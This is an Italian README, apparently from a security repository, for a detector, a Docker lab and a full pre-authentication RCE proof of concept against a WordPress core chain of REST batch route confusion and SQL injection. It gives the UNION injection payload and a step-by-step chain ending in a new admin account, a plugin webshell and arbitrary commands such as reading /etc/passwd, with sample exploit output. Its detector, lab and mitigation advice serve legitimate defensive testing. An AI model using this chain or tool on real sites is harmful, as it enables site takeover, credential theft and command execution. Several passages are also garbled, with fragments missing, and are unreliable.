
Rilevatore non distruttivo + laboratorio Docker per wp2shell (CVE-2026-63030 REST /batch/v1 route confusion + CVE-2026-60137 author__not_in SQLi) in WordPress core 6.9.0-6.9.4 / 7.0.0-7.0.1
Un laboratorio autonomo, detector non distruttivo e proof-of-concept completo di RCE pre-autenticazione per wp2shell — la catena di vulnerabilità pre-autenticazione nel core di WordPress:
| CVE | Componente | Classe | CVSS |
|---|---|---|---|
| CVE-2026-60137 | WP_Query::author__not_in | SQL injection (CWE-89) | 9.1 |
| CVE-2026-63030 | Confusione di route REST /batch/v1 | conflitto di interpretazione (CWE-436) → porta alla RCE | 7.5 |
Interessati: core di WordPress 6.9.0–6.9.4 e 7.0.0–7.0.1 (il solo sink SQLi interessa anche 6.8.0–6.8.5). Corretto in 6.8.6 / 6.9.5 / 7.0.2. Segnalata da Adam Kues (Assetnote / Searchlight Cyber); la SQLi è accreditata anche a TF1T, dtro, haongo. Catena RCE su stock predefinito (oEmbed → changeset → re-entry) di Mustafa Can İPEKÇİ (nukedx).
Prima di tutto, aggiornate. WordPress ha distribuito aggiornamenti automatici forzati per questo. Questa repo esiste per aiutarvi a verificare che il vostro parco installato sia patchato e a comprendere il bug — non per attaccare nessuno. Vedi SECURITY.md.
La primitiva sempre valida è una SQL injection non autenticata, senza plugin, sul core stock che consente la lettura completa del database (hash delle password admin, tutto in wp_options/wp_users). Da sola merita il 9.1 e una patch immediata.
La RCE è reale e funziona su WordPress stock predefinito — nessun privilegio FILE, nessuna cache di oggetti persistente, nessun plugin, nessuna configurazione errata richiesta. La catena usa la SQLi in sola lettura come primitiva di falsificazione di righe (UNION ALL SELECT inietta righe wp_posts finte), quindi sfrutta la pipeline di rendering dei contenuti di WordPress per convertire quelle righe falsificate in vere scritture sul database tramite la cache oEmbed. Da lì, l'elevazione del changeset e il parse_request rientrante vengono eseguiti nel contesto admin, creando un nuovo account amministratore — tutto da una singola richiesta HTTP non autenticata.
POST /?rest_route=/batch/v1)1. Route confusion — double-nested batch desyncs $matches/$validation so a GET
/wp/v2/widgets runs under posts::get_items() (public), reaching
WP_Query's author__not_in with attacker-controlled input.
2. Row forgery — author__not_in is string-concatenated into SQL;
"1) AND 1=0 UNION ALL SELECT <23 cols> -- -" injects fake
WP_Post rows. per_page=-1 bypasses split_the_query (WP_Query
treats -1 as "no limit" → empty $limits → split=false →
full SELECT wp_posts.* → UNION columns match).
3. oEmbed write — forged posts carry [embed]<self-url>[/embed]; rendering via
context=view makes WordPress cache real oembed_cache posts in
the DB (turns read-only SQLi into writes with predictable IDs).
4. Elevation+re-entry — a forged customize_changeset (user_id = real admin) plus a
forged post_type=request row with parent loops drives an
in-process re-entrant parse_request in admin context.
5. Admin creation — POST /wp/v2/users in the same batch passes
current_user_can('create_users') → new administrator.
6. RCE — login → plugin webshell upload → command execution → cleanup.
La novità è la composizione, non un singolo bug — i singoli gadget sono comportamenti legittimi di WordPress. Dare loro un nome (come nel writeup di Adam Kues) rende leggibile il grafo delle righe falsificate in exploit() e segnala cosa ricontrollare dopo che i punti di ingresso sono stati patchati:
wp_update_post() e preferisce post_type/post_status in memoria, consentendo a una riga oembed_cache di essere riclassificata come un vero post/customize_changeset.post_content — il filtro wp_insert_post_parent percorre la catena dei parent; quando rileva un ciclo chiama un secondo wp_update_post() che corregge il parent senza sovrascrivere post_content. Questo è l'anello critico: consente al post_content malevolo del changeset falsificato di sopravvivere. (È per questo che le righe falsificate usano loop self-/mutual-parent.)parse_request — la pubblicazione di un post attiva ; una riga falsificata con / innesca , rieseguendo la pipeline del batch mentre l'identità admin assunta dal changeset () è ancora attiva.Questi gadget restano presenti nel WordPress patchato — sono stati chiusi solo i due punti di ingresso (desync del batch + bypass scalare di author__not_in). Qualsiasi nuova primitiva che falsifichi la cache dei post in memoria o scriva una riga oembed_cache riabiliterebbe la stessa identica coda di admin takeover.
Tutte e quattro le primitive di scrittura in fase di rendering confermate dal vivo contro 7.0.1 — ciascuna falsificata come post non autenticato, renderizzata tramite la confusione del batch, e la conseguente scrittura nel database verificata tramite SQLi blind:
Cosa dimostra ogni risultato:
wp_posts con slug previsto dall'attaccante (md5(url+serialize(attrs))) e un vero ID auto-increment. È l'unica che fornisce più righe di post su richiesta e nominabili dall'attaccante — motivo per cui la catena RCE la usa per sostenere il grafo changeset/request falsificato._site_transient_feed_<md5(url)> è completamente prevedibile e i byte memorizzati sono il corpo del feed che l'URL dell'attaccante serve — cioè l'attaccante controlla sia la chiave sia il valore. È una scrittura su wp_options (nessun ID post), quindi è una primitiva di avvelenamento delle option piuttosto che un ricambio per sostenere il changeset.wp_navigation pubblicato) con slug fisso, quindi può sostenere al massimo un oggetto falsificato, a differenza delle N righe di oEmbed.update_option scatta senza autenticazione, ma il nome dell'option e il suo valore '1'/'0' sono fissi/derivati dal database, quindi è una dimostrazione che "la scrittura avviene" senza alcun controllo dell'attaccante su chiave o valore.FILE + un secure_file_priv servito via web + la directory leggibile dall'utente web. Su host normali/managed nessuna di queste condizioni è vera.call_user_func('wp_insert_user', user_data_array) — richiede gc_enabled()=false + HMAC valido (wp_hash dei byte serializzati esatti, richiede i segreti di wp-config.php).Requisiti: Docker + Docker Compose v2, Python 3.8+ (sola stdlib), make, curl.
make up # WordPress 6.9.4 (vulnerable) + MySQL 8.0, auto-installed on :8093
make check # -> [VULNERABLE] http://localhost:8093 (WordPress 6.9.4 ...)
make proof # -> also reads @@version and current_user() as read-only evidence
make exploit # -> full pre-auth RCE: creates admin, deploys webshell, runs "id"
make patched # rebuild on the fixed image and re-check -> [not vulnerable]
make down # tear down (removes volumes)
Cambiate la porta con WP_PORT=8100 make up.
Nota sull'immagine patchata: le immagini Docker ufficiali
wordpressarrivano con uno o due giorni di ritardo rispetto alle release di sicurezza del core di WordPress. Semake patchedsegnala chewordpress:7.0.2non è ancora su Docker Hub, riprovate più tardi oppure puntate al tag corretto che è stato pubblicato:make patched WP_PATCHED_TAG=6.9.5(o7.0.2/6.8.6). Qualsiasi WordPress ≥ 6.9.5 / 7.0.2 / 6.8.6 restituiscenot vulnerable.
$ make check
[VULNERABLE] http://localhost:8093 (WordPress 6.9.4, affected-full-chain) [active=fired | method=boolean rows(true/false)=5/0 via x-wp-total | delivery=json | slot=users]
confirmed: unauthenticated SQL injection
rce: reachable on stock config; additionally requires no persistent object cache (not verified remotely -- the RCE PoC preflights it before writing)
$ make exploit
[*] seeding oEmbed caches ...
[*] extracting table prefix ...
[+] table prefix: wp_
[*] extracting admin user ID ...
[+] admin ID: 1
[*] recovering oEmbed cache post IDs ...
[+] cache IDs: [5, 6, 7]
[*] forging changeset + re-entry, creating administrator ...
[+] administrator created: w2s_...:W2s!... ([email protected])
[*] logging in, deploying webshell, executing command ...
[+] vulnerable (unauth SQLi confirmed: method=boolean slot=users delivery=json)
[+] RCE output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ make patched
[not vulnerable] http://localhost:8093 (WordPress 7.0.2, outside-affected-range) [active=negative | method=time fast=0.01s slow=0.01s delta=-0.00s | delivery=json | slot=users]
wp2shell_check.py)Sola libreria standard, nessuna dipendenza.
Non distruttivo, con fallback automatico su tre assi indipendenti, così un singolo percorso bloccato non viene mai letto come un falso negativo:
WHERE iniettato tra true/false e osservate il X-WP-Total della query dei post confusi collassare, niente SLEEP); se non scatta, un differenziale temporale basato su SLEEP. Il SLEEP è avvolto in una tabella derivata — (SELECT 1 FROM (SELECT SLEEP(n))x) — così viene valutato una sola volta indipendentemente dal numero di righe (un SLEEP() nudo viene ottimizzato via su alcuni host managed e risulterebbe come falso negativo)./wp-json, un form multipart rest_route=/batch/v1 su POST / (la forma esatta della richiesta dell'operatore)./wp/v2/users; se quell'endpoint è disabilitato per i chiamanti non autenticati (plugin Disable-REST-API, hardening contro l'enumerazione degli utenti), si ripiega sull'endpoint universale per singolo elemento .Nessuna di queste modalità legge dati o modifica lo stato. --proof legge solo @@version e current_user() tramite una lettura blind limitata. Non estrae dati sensibili né tenta l'esecuzione di codice.
python3 wp2shell_check.py https://your-site.example --authorized
python3 wp2shell_check.py -f assets.txt --authorized -t 20 --json > results.json
python3 wp2shell_check.py http://127.0.0.1:8093 --proxy http://127.0.0.1:8080
-c COMMAND)Catena di sfruttamento completa: rilevamento → preflight di falsificazione delle righe → popolamento della cache oEmbed → estrazione UNION in-band → elevazione del changeset → parse_request rientrante → creazione dell'admin → login → webshell come plugin → esecuzione → auto-cleanup. Funziona su WordPress stock predefinito — nessun privilegio FILE, nessuna cache di oggetti persistente, nessun plugin richiesto.
python3 wp2shell_check.py http://127.0.0.1:8093 -c "id"
python3 wp2shell_check.py https://target.example -c "cat /etc/passwd" --authorized
split_the_query con per_page=-1 funziona su questo target prima che la catena scriva qualsiasi cosa. Una cache di oggetti persistente (Redis/Memcached — comune sugli host managed) forza split_the_query e blocca la falsificazione delle righe: lo strumento lo segnala con precisione (la SQLi è ancora presente; è bloccata solo la RCE) e non lascia righe oembed_cache orfane.SLEEP byte per byte — ~50–100× meno richieste, esposizione a WAF/rate-limit di gran lunga inferiore. L'oracolo blind resta il fallback automatico se una lettura in-band dovesse essere filtrata.-c CMD (RCE pre-auth), --proof (prove in sola lettura), -f FILE (scansione batch), -t/--threads N (worker concorrenti, default 10), --method auto|boolean|time, --delivery auto|json|multipart (alias --multipart), --slot auto|users|posts-item, --sleep N (ritardo iniettato, default 4), --rounds N (mediana su N probe), --route auto|rest-route|wp-json, --timeout N, --proxy URL, --json, .
Valori di stato
vulnerable — confermato attivamente tramite l'iniezione (confusione del batch, 6.9.0–7.0.1). Ciò che l'oracolo attivo dimostra è la SQL injection non autenticata; la RCE pre-auth è raggiungibile da essa su un'installazione stock ma richiede inoltre l'assenza di una cache di oggetti persistente (una precondizione non verificabile da remoto — il PoC RCE la verifica prima di scrivere). L'output rende esplicita questa distinzione (righe confirmed: / rce:).affected_version — la versione rilevata è in un intervallo interessato ma il controllo attivo non è scattato (6.8.0–6.8.5 ha il sink SQLi ma non la confusione; oppure un WAF ha bloccato il probe).not_vulnerable — controllo attivo negativo e versione fuori dagli intervalli interessati.Codici di uscita: 0 = richiede attenzione, 1 = non vulnerabile, 2 = errore.
Robustezza: segue i redirect preservando il corpo della POST, canonicalizza l'host una volta all'inizio e ignora gli errori TLS (curl -k).
/wp-json/batch/v1 sia ?rest_route=/batch/v1 — una regola solo sul percorso "pretty" lascia aperta la route tramite query string — oppure richiedete l'autenticazione sulla route del batch tramite un filtro rest_pre_dispatch.MIT — vedi LICENSE.
do_action("{$status}_{$type}")post_status=parsepost_type=requestparse_requestwp_set_current_user| Primitiva | Markup di innesco | Sink | Identificatore previsto | Verificato |
|---|
| oembed | [embed]<url>[/embed] | riga wp_posts (oembed_cache) | post_name = md5(url+attrs) | ID post creato |
| rss | wp:rss {feedURL} | site-transient in wp_options | _site_transient_feed_<md5(url)> | option_id, 5192 B in cache |
| navigation | wp:navigation | riga wp_posts (wp_navigation) | post_name = 'navigation' (fisso) | ID creato, slug navigation |
| calendar | wp:calendar | wp_options | wp_calendar_block_has_published_posts | option_id, valore '1' |
/wp/v2/posts/<id>--authorized